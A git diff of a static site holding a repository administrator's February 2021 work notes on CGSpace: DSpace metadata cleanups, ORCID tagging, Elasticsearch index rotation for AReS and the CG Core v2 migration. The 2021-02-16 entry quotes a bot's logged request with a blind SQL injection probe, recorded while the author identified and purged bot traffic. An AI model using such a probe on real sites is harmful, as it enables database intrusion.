+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:229)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:81)
+
    +
  • I imported the production database to my local development environment and I get the same error… WTF is this? +
      +
    • I was able to export another smaller community
      • +
    • I filed an issue with Atmire to see if it is likely something of theirs, or if I need to ask on the dspace-tech mailing list
      • +
    +
    • +
  • CodeObia sent a pull request with fixes for several issues we highlighted in OpenRXV +
      +
    • I deployed the fixes on production, as they only affect minor parts of the frontend, and two of the four are working
      • +
    • I sent feedback to CodeObia
      • +
    +
    • +
+

2021-02-02

+
    +
  • Communicate more with CodeObia about some fixes for OpenRXV
    • +
  • Maria Garruccio sent me some new ORCID iDs for Bioversity authors, as well as a correction for Stefan Burkart’s iD
    • +
  • I saved the new ones to a text file, combined them with the others, extracted the ORCID iDs themselves, and updated the names using resolve-orcids.py:
    • +
+
$ cat ~/src/git/DSpace/dspace/config/controlled-vocabularies/cg-creator-id.xml /tmp/bioversity-orcid-ids.txt | grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort | uniq > /tmp/2021-02-02-combined-orcids.txt
+$ ./ilri/resolve-orcids.py -i /tmp/2021-02-02-combined-orcids.txt -o /tmp/2021-02-02-combined-orcid-names.txt
+
    +
  • I sorted the names and added the XML formatting in vim, then ran it through tidy:
    • +
+
$ tidy -xml -utf8 -m -iq -w 0 dspace/config/controlled-vocabularies/cg-creator-id.xml
+
    +
  • Then I added all the changed names plus Stefan’s incorrect ones to a CSV and processed them with fix-metadata-values.py:
    • +
+
$ cat 2021-02-02-fix-orcid-ids.csv 
+cg.creator.id,correct
+Burkart Stefan: 0000-0001-5297-2184,Stefan Burkart: 0000-0001-5297-2184
+Burkart Stefan: 0000-0002-7558-9177,Stefan Burkart: 0000-0001-5297-2184
+Stefan  Burkart: 0000-0001-5297-2184,Stefan Burkart: 0000-0001-5297-2184
+Stefan Burkart: 0000-0002-7558-9177,Stefan Burkart: 0000-0001-5297-2184
+Adina Chain Guadarrama: 0000-0002-6944-2064,Adina Chain-Guadarrama: 0000-0002-6944-2064
+Bedru: 0000-0002-7344-5743,Bedru B. Balana: 0000-0002-7344-5743
+Leigh Winowiecki: 0000-0001-5572-1284,Leigh Ann Winowiecki: 0000-0001-5572-1284
+Sander J. Zwart: 0000-0002-5091-1801,Sander Zwart: 0000-0002-5091-1801
+saul lozano-fuentes: 0000-0003-1517-6853,Saul Lozano: 0000-0003-1517-6853
+$ ./ilri/fix-metadata-values.py -i 2021-02-02-fix-orcid-ids.csv -db dspace63 -u dspace -p 'fuuu' -f cg.creator.id -t 'correct' -m 240
+
    +
  • I also looked up which of these new authors might have existing items that are missing ORCID iDs
    • +
  • I had to port my add-orcid-identifiers-csv.py to DSpace 6 UUIDs and I think it’s working but I want to do a few more tests because it uses a sequence for the metadata_value_id
    • +
+

2021-02-03

+
    +
  • Tag forty-three items from Bioversity’s new authors with ORCID iDs using add-orcid-identifiers-csv.py:
    • +
+
$ cat /tmp/2021-02-02-add-orcid-ids.csv
+dc.contributor.author,cg.creator.id
+"Nchanji, E.",Eileen Bogweh Nchanji: 0000-0002-6859-0962
+"Nchanji, Eileen",Eileen Bogweh Nchanji: 0000-0002-6859-0962
+"Nchanji, Eileen Bogweh",Eileen Bogweh Nchanji: 0000-0002-6859-0962
+"Machida, Lewis",Lewis Machida: 0000-0002-0012-3997
+"Mockshell, Jonathan",Jonathan Mockshell: 0000-0003-1990-6657"
+"Aubert, C.",Celine Aubert: 0000-0001-6284-4821
+"Aubert, Céline",Celine Aubert: 0000-0001-6284-4821
+"Devare, M.",Medha Devare: 0000-0003-0041-4812
+"Devare, Medha",Medha Devare: 0000-0003-0041-4812
+"Benites-Alfaro, O.E.",Omar E. Benites-Alfaro: 0000-0002-6852-9598
+"Benites-Alfaro, Omar Eduardo",Omar E. Benites-Alfaro: 0000-0002-6852-9598
+"Johnson, Vincent",VINCENT JOHNSON: 0000-0001-7874-178X
+"Lesueur, Didier",didier lesueur: 0000-0002-6694-0869
+$ ./ilri/add-orcid-identifiers-csv.py -i /tmp/2021-02-02-add-orcid-ids.csv -db dspace -u dspace -p 'fuuu' -d
+
+

2021-02-04

+
    +
  • Re-sync CGSpace database and Solr to DSpace Test to start a public test of CG Core v2 +
      +
    • Afterwards I updated Discovery and OAI:
      • +
    +
    • +
+
$ time chrt -b 0 dspace index-discovery -b
+$ dspace oai import -c
+
    +
  • Attend Accenture meeting for repository managers +
      +
    • Not clear what the SMO wants to get out of us
      • +
    +
    • +
  • Enrico asked for some notes about our work on AReS in 2020 for CRP Livestock reporting +
      +
    • Abenet and I came up with the following:
      • +
    +
    • +
+
+

In 2020 we funded the third phase of development on the OpenRXV platform that powers AReS. This phase focused mainly on improving the search filtering, graphical visualizations, and reporting capabilities. It is now possible to create custom reports in Excel, Word, and PDF formats using a templating system. We also concentrated on making the vanilla OpenRXV platform easier to deploy and administer in hopes that other organizations would begin using it. Lastly, we identified and fixed a handful of bugs in the system. All development takes place publicly on GitHub: https://github.com/ilri/OpenRXV.

+
+
+

In the last quarter of 2020, ILRI conducted a briefing for nearly 100 scientists and communications staff on how to use ARes as a visualization tool for repository outputs and as a reporting tool (https://hdl.handle.net/10568/110527). Staff will begin using AReS to generate lists of their outputs to upload in the performance evaluation system to assist in their performance evaluation. The list of publications they will upload from AReS to Performax will indicate the open access status of each publication to help start discussion why some outputs are not open access given the open access policies of the CGIAR.

+
+
    +
  • Call Moayad to discuss OpenRXV development +
      +
    • We talked about the “reporting period” (date-based statistics) and some of the issues Abdullah is working on on GitHub
      • +
    • I suggested that we offer the date-range statistics in a modal dialog with other sorting and grouping options during report generation
      • +
    +
    • +
  • Peter sent me the cleaned up series that I had originally sent him in 2020-10 +
      +
    • I quickly applied all the deletions on CGSpace:
      • +
    +
    • +
+
$ ./ilri/delete-metadata-values.py -i /tmp/2020-10-28-Series-PB.csv -db dspace -u dspace -p 'fuuu' -f dc.relation.ispartofseries -m 43
+
    +
  • The corrected versions have a lot of encoding issues so I asked Peter to give me the correct ones so I can search/replace them: +
      +
    • CIAT Publicaçao
      • +
    • CIAT Publicación
      • +
    • CIAT Série
      • +
    • CIAT Séries
      • +
    • Colección investigación y desarrollo
      • +
    • CTA Guias práticos
      • +
    • CTA Guias técnicas
      • +
    • Curso de adiestramiento en producción y utilización de pastos tropicales
      • +
    • Folheto Técnico
      • +
    • ILRI Nota Informativa de Investigação
      • +
    • Influencia de los actores sociales en América Central
      • +
    • Institutionalization of quality assurance mechanism and dissemination of top quality commercial products to increase crop yields and improve food security of smallholder farmers in sub-Saharan Africa – COMPRO-II
      • +
    • Manuel pour les Banques de Gènes;1
      • +
    • Sistematización de experiencias Proyecto ACORDAR
      • +
    • Strüngmann Forum
      • +
    • Unité de Recherche
      • +
    +
    • +
  • I ended up using python-ftfy to fix those very easily, then replaced them in the CSV
    • +
  • Then I trimmed whitespace at the beginning, end, and around the “;”, and applied the 1,600 fixes using fix-metadata-values.py:
    • +
+
$ ./ilri/fix-metadata-values.py -i /tmp/2020-10-28-Series-PB.csv -db dspace -u dspace -p 'fuuu' -f dc.relation.ispartofseries -t 'correct' -m 43
+
    +
  • Help Peter debug an issue with one of Alan Duncan’s new FEAST Data reports on CGSpace +
      +
    • For some reason the default policy for the item was “COLLECTION_492_DEFAULT_READ” group, which had zero members
      • +
    • I changed them all to Anonymous and the item was accessible
      • +
    +
    • +
+

2021-02-07

+
    +
  • Run system updates on CGSpace (linode18), deploy latest 6_x-prod branch, and reboot the server
    • +
  • After the server came back up I started a full Discovery re-indexing:
    • +
+
$ time chrt -b 0 ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
+real    247m30.850s
+user    160m36.657s
+sys     2m26.050s
+
    +
  • Regarding the CG Core v2 migration, Fabio wrote to tell me that he is not using CGSpace directly, instead harvesting via GARDIAN +
      +
    • He gave me the contact of Sotiris Konstantinidis, who is the CTO at SCIO Systems and works on the GARDIAN platform
      • +
    +
    • +
  • Delete the old Elasticsearch temp index to prepare for starting an AReS re-harvest:
    • +
+
$ curl -XDELETE 'http://localhost:9200/openrxv-items-temp'
+# start indexing in AReS
+

2021-02-08

+
    +
  • Finish rotating the AReS indexes after the harvesting last night:
    • +
+
$ curl -s 'http://localhost:9200/openrxv-items-temp/_count?q=*&pretty'
+{
+  "count" : 100983,
+  "_shards" : {
+    "total" : 1,
+    "successful" : 1,
+    "skipped" : 0,
+    "failed" : 0
+  }
+}
+$ curl -X PUT "localhost:9200/openrxv-items/_settings" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write":true}}'
+$ curl -s -X POST http://localhost:9200/openrxv-items/_clone/openrxv-items-2021-02-08
+$ curl -XDELETE 'http://localhost:9200/openrxv-items'
+$ curl -X PUT "localhost:9200/openrxv-items-temp/_settings" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": true}}'
+$ curl -s -X POST http://localhost:9200/openrxv-items-temp/_clone/openrxv-items
+$ curl -XDELETE 'http://localhost:9200/openrxv-items-temp'
+$ curl -XDELETE 'http://localhost:9200/openrxv-items-2021-02-08'
+

2021-02-10

+
    +
  • Talk to Abdullah from CodeObia about a few of the issues we filed on OpenRXV + +
    • +
  • Atmire responded to a few issues today: +
      +
    • First, the one about a crash while exporting a community CSV, which appears to be a vanilla DSpace issue with a patch in DSpace 6.4
      • +
    • Second, the MQM batch consumer issue, which appears to be harmless log spam in most cases and they have sent a patch that adjusts the logging as such
      • +
    • Third, a version bump for CUA to fix the java.lang.UnsupportedOperationException: Multiple update components target the same field:solr_update_time_stamp error
      • +
    +
    • +
  • I cherry-picked the patches for DS-4111 and was able to export the ILRI community finally, but the results are almost twice as many items as in the community! +
      +
    • Investigating with csvcut I see there are some ids that appear up to five, six, or seven times!
      • +
    +
    • +
+
$ csvcut -c id /tmp/2021-02-10-ILRI.csv | sed '1d' | wc -l
+30354
+$ csvcut -c id /tmp/2021-02-10-ILRI.csv | sed '1d' | sort -u | wc -l
+18555
+$ csvcut -c id /tmp/2021-02-10-ILRI.csv | sed '1d' | sort | uniq -c | sort -h | tail
+      5 c21a79e5-e24e-4861-aa07-e06703d1deb7
+      5 c2460aa1-ae28-4003-9a99-2d7c5cd7fd38
+      5 d73fb3ae-9fac-4f7e-990f-e394f344246c
+      5 dc0e24fa-b7f5-437e-ac09-e15c0704be00
+      5 dc50bcca-0abf-473f-8770-69d5ab95cc33
+      5 e714bdf9-cc0f-4d9a-a808-d572e25c9238
+      6 7dfd1c61-9e8c-4677-8d41-e1c4b11d867d
+      6 fb76888c-03ae-4d53-b27d-87d7ca91371a
+      6 ff42d1e6-c489-492c-a40a-803cabd901ed
+      7 094e9e1d-09ff-40ca-a6b9-eca580936147
+
    +
  • I added a comment to that bug to ask if this is a side effect of the patch
    • +
  • I started working on tagging pre-2010 ILRI items with license information, like we talked about with Peter and Abenet last week +
      +
    • Due to the export bug I had to sort and remove duplicates first, then use csvgrep to filter out books and journal articles:
      • +
    +
    • +
+
$ csvcut -c 'id,dc.date.issued,dc.date.issued[],dc.date.issued[en_US],dc.rights,dc.rights[],dc.rights[en],dc.rights[en_US],dc.publisher,dc.publisher[],dc.publisher[en_US],dc.type[en_US]' /tmp/2021-02-10-ILRI.csv | csvgrep -c 'dc.type[en_US]' -r '^.+[^(Journal Item|Journal Article|Book|Book Chapter)]'
+
    +
  • I imported the CSV into OpenRefine and converted the date text values to date types so I could facet by dates before 2010:
    • +
+
if(diff(value,"01/01/2010".toDate(),"days")<0, true, false)
+
    +
  • Then I filtered by publisher to make sure they were only ours:
    • +
+
or(
+  value.contains("International Livestock Research Institute"),
+  value.contains("ILRI"),
+  value.contains("International Livestock Centre for Africa"),
+  value.contains("ILCA"),
+  value.contains("ILRAD"),
+  value.contains("International Laboratory for Research on Animal Diseases")
+)
+
    +
  • I tagged these pre-2010 items with “Other” if they didn’t already have a license
    • +
  • I checked 2010 to 2015, and 2016 to date, but they were all tagged already!
    • +
  • In the end I added the “Other” license to 1,523 items from before 2010
    • +
+

2021-02-11

+
    +
  • CodeObia keeps working on a few more small issues on OpenRXV +
      +
    • Abdullah sent fixes for two issues but I couldn’t verify them myself so I asked him to check again
      • +
    • Call with Abdullah and Yousef to discuss some issues
      • +
    • We got the Angular expressions parser working…
      • +
    +
    • +
+

2021-02-13

+
    +
  • Run system updates, deploy latest 6_x-prod branch, and reboot CGSpace (linode18)
    • +
  • Normalize text_lang of DSpace item metadata on CGSpace:
    • +
+
dspace=# SELECT DISTINCT text_lang, count(text_lang) FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) GROUP BY text_lang ORDER BY count DESC;
+ text_lang |  count  
+-----------+---------
+ en_US     | 2567413
+           |    8050
+ en        |    7601
+           |       0
+(4 rows)
+dspace=# UPDATE metadatavalue SET text_lang='en_US' WHERE dspace_object_id IN (SELECT uuid FROM item);
+
    +
  • Start a full Discovery re-indexing on CGSpace
    • +
+

2021-02-14

+
    +
  • Clear the OpenRXV temp items index:
    • +
+
$ curl -XDELETE 'http://localhost:9200/openrxv-items-temp'
+
    +
  • Then start a full harvesting of CGSpace in the AReS Explorer admin dashboard
    • +
  • Peter asked me about a few other recently submitted FEAST items that are restricted +
      +
    • I checked the collection and there was an empty group there for the “default read” authorization
      • +
    • I deleted the group and fixed the authorization policies for two new items manually
      • +
    +
    • +
  • Upload fifteen items to CGSpace for Peter Ballantyne
    • +
  • Move 313 journals from series, which Peter had indicated when we were cleaning up the series last week +
      +
    • I re-purposed one of my Python metadata scripts to create move-metadata-values.py
      • +
    • The script reads a text file with one metadata value per line and moves them from one metadata field id to another
      • +
    +
    • +
+
$ ./ilri/move-metadata-values.py -i /tmp/move.txt -db dspace -u dspace -p 'fuuu' -f 43 -t 55
+

2021-02-15

+
    +
  • Check the results of the AReS Harvesting from last night:
    • +
+
$ curl -s 'http://localhost:9200/openrxv-items-temp/_count?q=*&pretty'
+{
+  "count" : 101126,
+  "_shards" : {
+    "total" : 1,
+    "successful" : 1,
+    "skipped" : 0,
+    "failed" : 0
+  }
+}
+
    +
  • Set the current items index to read only and make a backup:
    • +
+
$ curl -X PUT "localhost:9200/openrxv-items/_settings" -H 'Content-Type: application/json' -d' {"settings": {"index.blocks.write":true}}'
+$ curl -s -X POST http://localhost:9200/openrxv-items/_clone/openrxv-items-2021-02-15
+
    +
  • Delete the current items index and clone the temp one:
    • +
+
$ curl -XDELETE 'http://localhost:9200/openrxv-items'
+$ curl -X PUT "localhost:9200/openrxv-items-temp/_settings" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": true}}'
+$ curl -s -X POST http://localhost:9200/openrxv-items-temp/_clone/openrxv-items
+$ curl -XDELETE 'http://localhost:9200/openrxv-items-temp'
+$ curl -XDELETE 'http://localhost:9200/openrxv-items-2021-02-15'
+
    +
  • Call with Abdullah from CodeObia to discuss community and collection statistics reporting
    • +
+

2021-02-16

+
    +
  • Linode emailed me to say that CGSpace (linode18) had a high CPU usage this afternoon
    • +
  • I looked in the nginx logs and found a few heavy users: +
      +
    • 45.146.165.203 in Russia with user agent Opera/9.80 (Windows NT 6.1; U; cs) Presto/2.2.15 Version/10.00
      • +
    • 130.255.161.231 in Sweden with user agent Mozilla/5.0 (Macintosh; Intel Mac OS X 11.1; rv:84.0) Gecko/20100101 Firefox/84.0
      • +
    +
    • +
  • They are definitely bots posing as users, as I see they have created six thousand DSpace sessions today:
    • +
+
$ cat dspace.log.2021-02-16 | grep -E 'session_id=[A-Z0-9]{32}:ip_addr=45.146.165.203' | sort | uniq | wc -l
+4007
+$ cat dspace.log.2021-02-16 | grep -E 'session_id=[A-Z0-9]{32}:ip_addr=130.255.161.231' | sort | uniq | wc -l
+2128
+
    +
  • Ah, actually 45.146.165.203 is making requests like this:
    • +
+
"http://cgspace.cgiar.org:80/bitstream/handle/10568/238/Res_report_no3.pdf;jsessionid=7311DD88B30EEF9A8F526FF89378C2C5%' AND 4313=CONCAT(CHAR(113)+CHAR(98)+CHAR(106)+CHAR(112)+CHAR(113),(SELECT (CASE WHEN (4313=4313) THEN CHAR(49) ELSE CHAR(48) END)),CHAR(113)+CHAR(106)+CHAR(98)+CHAR(112)+CHAR(113)) AND 'XzQO%'='XzQO"
+
    +
  • I purged the hits from these two using my check-spider-ip-hits.sh:
    • +
+
$ ./ilri/check-spider-ip-hits.sh -f /tmp/ips -p
+Purging 4005 hits from 45.146.165.203 in statistics
+Purging 3493 hits from 130.255.161.231 in statistics
+
+Total number of bot hits purged: 7498
+
    +
  • Ugh, I looked in Solr for the top IPs in 2021-01 and found a few more of these Russian IPs so I purged them too:
    • +
+
$ ./ilri/check-spider-ip-hits.sh -f /tmp/ips -p
+Purging 27163 hits from 45.146.164.176 in statistics
+Purging 19556 hits from 45.146.165.105 in statistics
+Purging 15927 hits from 45.146.165.83 in statistics
+Purging 8085 hits from 45.146.165.104 in statistics
+
+Total number of bot hits purged: 70731
+
    +
  • My god, and 64.39.99.15 is from Qualys, the domain scanning security people, who are making queries trying to see if we are vulnerable or something (wtf?) +
      +
    • Looking in Solr I see a few different IPs with DNS like sn003.s02.iad01.qualys.com. so I will purge their requests too:
      • +
    +
    • +
+
$ ./ilri/check-spider-ip-hits.sh -f /tmp/ips -p
+Purging 3 hits from 130.255.161.231 in statistics
+Purging 16773 hits from 64.39.99.15 in statistics
+Purging 6976 hits from 64.39.99.13 in statistics
+Purging 13 hits from 64.39.99.63 in statistics
+Purging 12 hits from 64.39.99.65 in statistics
+Purging 12 hits from 64.39.99.94 in statistics
+
+Total number of bot hits purged: 23789
+

2021-02-17

+
    +
  • I tested Node.js 10 vs 12 on CGSpace (linode18) and DSpace Test (linode26) and the build times were surprising +
      +
    • Node.js 10 +
        +
      • linode26: [INFO] Total time: 17:07 min
        • +
      • linode18: [INFO] Total time: 19:26 min
        • +
      +
      • +
    • Node.js 12 +
        +
      • linode26: [INFO] Total time: 17:14 min
        • +
      • linode18: [INFO] Total time: 19:43 min
        • +
      +
      • +
    +
    • +
  • So I guess there is no need to use Node.js 12 any time soon, unless 10 becomes end of life
    • +
  • Abenet asked me to add Tom Randolph’s ORCID identifier to CGSpace
    • +
  • I also tagged all his 247 existing items on CGSpace:
    • +
+
$ cat 2021-02-17-add-tom-orcid.csv 
+dc.contributor.author,cg.creator.id
+"Randolph, Thomas F.","Thomas Fitz Randolph: 0000-0003-1849-9877"
+$ ./ilri/add-orcid-identifiers-csv.py -i 2021-02-17-add-tom-orcid.csv -db dspace -u dspace -p 'fuuu'
+

2021-02-20

+
    +
  • Test the CG Core v2 migration on DSpace Test (linode26) one last time
    • +
+

2021-02-21

+
    +
  • Start the CG Core v2 migration on CGSpace (linode18)
    • +
  • After deploying the latest 6_x-prod branch and running migrate-fields.sh I started a full Discovery reindex:
    • +
+
$ time chrt -b 0 ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
+real    311m12.617s
+user    217m3.102s
+sys     2m37.363s
+
    +
  • Then update OAI:
    • +
+
$ dspace oai import -c
+$ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx2048m"
+
    +
  • Ben Hack was asking if there is a REST API query that will give him all ILRI outputs for their new Sharepoint intranet +
      +
    • I told him he can try to use something like this if it’s just something like the ILRI articles in journals collection:
      • +
    +
    • +
+

https://cgspace.cgiar.org/rest/collections/8ea4b611-1f59-4d4e-b78d-a9921a72cfe7/items?limit=100&offset=0

+
    +
  • But I don’t know if he wants the entire ILRI community, in which case he needs to get the collections recursively and iterate over them, or if his software can manage the iteration over the pages of item results using limit and offset
    • +
  • Help proof and upload 1095 CIFOR items to DSpace Test for Abenet +
      +
    • There were a few dozen issues with author affiliations, but the metadata was otherwise very good quality
      • +
    • I ran the data through the csv-metadata-quality tool nevertheless to fix some minor formatting issues
      • +
    • I uploaded it to DSpace Test to check for duplicates
      • +
    +
    • +
+
$ export JAVA_OPTS='-Dfile.encoding=UTF-8 -Xmx1024m'
+$ dspace metadata-import -e aorth@mjanja.ch -f /tmp/cifor.csv
+
    +
  • The process took an hour or so!
    • +
  • I added colorized output to the csv-metadata-quality tool and tagged version 0.4.4 on GitHub
    • +
  • I updated the fields in AReS Explorer and then removed the old temp index so I can start a fresh re-harvest of CGSpace:
    • +
+
$ curl -XDELETE 'http://localhost:9200/openrxv-items-temp'
+# start indexing in AReS
+

2021-02-22

+
    +
  • Start looking at splitting the series name and number in dcterms.isPartOf now that we have migrated to CG Core v2 +
      +
    • The numbers will go to cg.number
      • +
    • I notice there are about 100 series without a number, but they still have a semicolon, for example Esporo 72;
      • +
    • I think I will replace those like this:
      • +
    +
    • +
+
localhost/dspace63= > UPDATE metadatavalue SET text_value = REGEXP_REPLACE(text_value, '^(.+?);$','\1', 'g') WHERE metadata_field_id=166 AND dspace_object_id IN (SELECT uuid FROM item) AND text_value ~ ';$';
+UPDATE 104
+
    +
  • As for splitting the other values, I think I can export the dspace_object_id and text_value and then upload it as a CSV rather than writing a Python script to create the new metadata values
    • +
+

2021-02-22

+
    +
  • Check the results of the AReS harvesting from last night:
    • +
+
$ curl -s 'http://localhost:9200/openrxv-items-temp/_count?q=*&pretty'
+{
+  "count" : 101380,
+  "_shards" : {
+    "total" : 1,
+    "successful" : 1,
+    "skipped" : 0,
+    "failed" : 0
+  }
+}
+
    +
  • Set the current items index to read only and make a backup:
    • +
+
$ curl -X PUT "localhost:9200/openrxv-items/_settings" -H 'Content-Type: application/json' -d' {"settings": {"index.blocks.write":true}}'
+$ curl -s -X POST http://localhost:9200/openrxv-items/_clone/openrxv-items-2021-02-22
+
    +
  • Delete the current items index and clone the temp one to it:
    • +
+
$ curl -XDELETE 'http://localhost:9200/openrxv-items'
+$ curl -X PUT "localhost:9200/openrxv-items-temp/_settings" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": true}}'
+$ curl -s -X POST http://localhost:9200/openrxv-items-temp/_clone/openrxv-items
+
    +
  • Then delete the temp and backup:
    • +
+
$ curl -XDELETE 'http://localhost:9200/openrxv-items-temp'
+{"acknowledged":true}%
+$ curl -XDELETE 'http://localhost:9200/openrxv-items-2021-02-22'
+

2021-02-23

+
    +
  • CodeObia sent a pull request for clickable countries on AReS +
      +
    • I deployed it and it seems to work, so I asked Abenet and Peter to test it so we can get feedback
      • +
    +
    • +
  • Remove semicolons from series names without numbers:
    • +
+
dspace=# BEGIN;
+dspace=# UPDATE metadatavalue SET text_value = REGEXP_REPLACE(text_value, '^(.+?);$','\1', 'g') WHERE metadata_field_id=166 AND dspace_object_id IN (SELECT uuid FROM item) AND text_value ~ ';$';
+UPDATE 104
+dspace=# COMMIT;
+
    +
  • Set all text_lang values on CGSpace to en_US to make the series replacements easier (this didn’t work, read below):
    • +
+
dspace=# BEGIN;
+dspace=# UPDATE metadatavalue SET text_lang='en_US' WHERE text_lang !='en_US' AND dspace_object_id IN (SELECT uuid FROM item);
+UPDATE 911
+cgspace=# COMMIT;
+
    +
  • Then export all series with their IDs to CSV:
    • +
+
dspace=# \COPY (SELECT dspace_object_id, text_value as "dcterms.isPartOf[en_US]" FROM metadatavalue WHERE metadata_field_id=166 AND dspace_object_id IN (SELECT uuid FROM item)) TO /tmp/2021-02-23-series.csv WITH CSV HEADER;
+
    +
  • In OpenRefine I trimmed and consolidated whitespace, then made some quick cleanups to normalize the fields based on a sanity check +
      +
    • For example many Spore items are like “Spore, Spore 23”
      • +
    • Also, “Agritrade, August 2002”
      • +
    +
    • +
  • Then I copied the column to a new one called cg.number[en_US] and split the values for each on the semicolon using value.split(';')[0] and value.split(';')[1]
    • +
  • I tried to upload some of the series data to DSpace Test but I’m having an issue where some fields change that shouldn’t +
      +
    • It seems not all fields get updated when I set the text_lang globally, but if I updated it manually like this it works:
      • +
    +
    • +
+
dspace=# UPDATE metadatavalue SET text_lang='en_US' WHERE metadata_value_id=5355845;
+UPDATE 1
+
    +
  • This also seems to work, using the id for just that one item:
    • +
+
dspace=# UPDATE metadatavalue SET text_lang='en_US' WHERE dspace_object_id='9840d19b-a6ae-4352-a087-6d74d2629322';
+UPDATE 37
+
    +
  • This seems to work better for some reason:
    • +
+
dspacetest=# UPDATE metadatavalue SET text_lang='en_US' WHERE metadata_field_id=166 AND dspace_object_id IN (SELECT uuid FROM item);
+UPDATE 18659
+
    +
  • I split the CSV file in batches of 5,000 using xsv, then imported them one by one in CGSpace:
    • +
+
$ dspace metadata-import -f /tmp/0.csv
+
    +
  • It took FOREVER to import each file… like several hours each. MY GOD DSpace 6 is slow.
    • +
  • Help Dominique Perera debug some issues with the WordPress DSpace importer plugin from Macaroni Bros +
      +
    • She is not seeing the community list for CGSpace, and I see weird requests like this in the logs:
      • +
    +
    • +
+
104.198.97.97 - - [23/Feb/2021:11:41:17 +0100] "GET /rest/communities?limit=1000 HTTP/1.1" 200 188779 "https://cgspace.cgiar.org/rest /communities?limit=1000" "RTB website BOT"
+104.198.97.97 - - [23/Feb/2021:11:41:18 +0100] "GET /rest/communities//communities HTTP/1.1" 404 714 "https://cgspace.cgiar.org/rest/communities//communities" "RTB website BOT"
+
    +
  • The first request is OK, but the second one is malformed for sure
    • +
+

2021-02-24

+
    +
  • Export a list of journals for Peter to look through:
    • +
+
localhost/dspace63= > \COPY (SELECT DISTINCT text_value as "cg.journal", count(*) FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id=251 GROUP BY text_value ORDER BY count DESC) to /tmp/2021-02-24-journals.csv WITH CSV HEADER;
+COPY 3345
+
    +
  • Start a fresh harvesting on AReS because Udana mapped some items today and wants to include them in his report:
    • +
+
$ curl -XDELETE 'http://localhost:9200/openrxv-items-temp'
+# start indexing in AReS
+
    +
  • Also, I want to include the new series name/number cleanups so it’s not a total waste of time
    • +
+

2021-02-25

+
    +
  • Hmm the AReS harvest last night seems to have finished successfully, but the number of items is less than I was expecting:
    • +
+
$ curl -s 'http://localhost:9200/openrxv-items-temp/_count?q=*&pretty'
+{
+  "count" : 99546,
+  "_shards" : {
+    "total" : 1,
+    "successful" : 1,
+    "skipped" : 0,
+    "failed" : 0
+  }
+}
+
    +
  • The current items index has 101380 items… I wonder what happened +
      +
    • I started a new indexing
      • +
    +
    • +
+

2021-02-26

+
    +
  • Last night’s indexing was more successful, there are now 101479 items in the index
    • +
  • Yesterday Yousef sent a pull request for the next/previous buttons on OpenRXV +
      +
    • I tested it this morning and it seems to be working
      • +
    +
    • +
+

2021-02-28

+
    +
  • Abenet asked me to import seventy-three records for CRP Forests, Trees and Agroforestry +
      +
    • I checked them briefly and found that there were thirty+ journal articles, and none of them had cg.journal, cg.volume, cg.issue, or dcterms.license so I spent a little time adding them
      • +
    • I used a GREL expression to extract the journal volume and issue from the citation into new columns:
      • +
    +
    • +
+
value.partition(/[0-9]+\([0-9]+\)/)[1].replace(/\(.*\)/,"")
+value.partition(/[0-9]+\([0-9]+\)/)[1].replace(/^\d+\((\d+)\)/,"$1")
+
    +
  • This value.partition was new to me… and it took me a bit of time to figure out whether I needed to escape the parentheses in the issue number or not (no) and how to reference a capture group with value.replace
    • +
  • I tried to check the 1095 CIFOR records from last week for duplicates on DSpace Test, but the page says “Processing” and never loads +
      +
    • I don’t see any errors in the logs, but there are two jQuery errors in the browser console
      • +
    • I filed an issue with Atmire
      • +
    +
    • +
  • Upload twelve items to CGSpace for Peter
    • +
  • Niroshini from IWMI is still having issues adding WLE subjects to items during the metadata review step in the workflow
    • +
  • It seems the BatchEditConsumer log spam is gone since I applied Atmire’s patch
    • +
+
$ grep -c 'BatchEditConsumer should not have been given' dspace.log.2021-02-[12]*
+dspace.log.2021-02-10:5067
+dspace.log.2021-02-11:2647
+dspace.log.2021-02-12:4231
+dspace.log.2021-02-13:221
+dspace.log.2021-02-14:0
+dspace.log.2021-02-15:0
+dspace.log.2021-02-16:0
+dspace.log.2021-02-17:0
+dspace.log.2021-02-18:0
+dspace.log.2021-02-19:0
+dspace.log.2021-02-20:0
+dspace.log.2021-02-21:0
+dspace.log.2021-02-22:0
+dspace.log.2021-02-23:0
+dspace.log.2021-02-24:0
+dspace.log.2021-02-25:0
+dspace.log.2021-02-26:0
+dspace.log.2021-02-27:0
+dspace.log.2021-02-28:0
+
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2021-03/index.html b/docs/2021-03/index.html new file mode 100644 index 000000000..9154ea5d0 --- /dev/null +++ b/docs/2021-03/index.html @@ -0,0 +1,929 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + March, 2021 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

March, 2021

+

+ + in + Notes + + +

+
+

2021-03-01

+
    +
  • Discuss some OpenRXV issues with Abdullah from CodeObia +
      +
    • He’s trying to work on the DSpace 6+ metadata schema autoimport using the DSpace 6+ REST API
      • +
    • Also, we found some issues building and running OpenRXV currently due to ecosystem shift in the Node.js dependencies
      • +
    +
    • +
+

2021-03-02

+ +

2021-03-03

+ +

2021-03-04

+
    +
  • Peter is having issues with the workflow since yesterday +
      +
    • I looked at the Munin stats and see a high number of database locks since yesterday
      • +
    +
    • +
+

PostgreSQL locks week +PostgreSQL connections week

+
    +
  • I looked at the number of connections in PostgreSQL and it’s definitely high again:
    • +
+
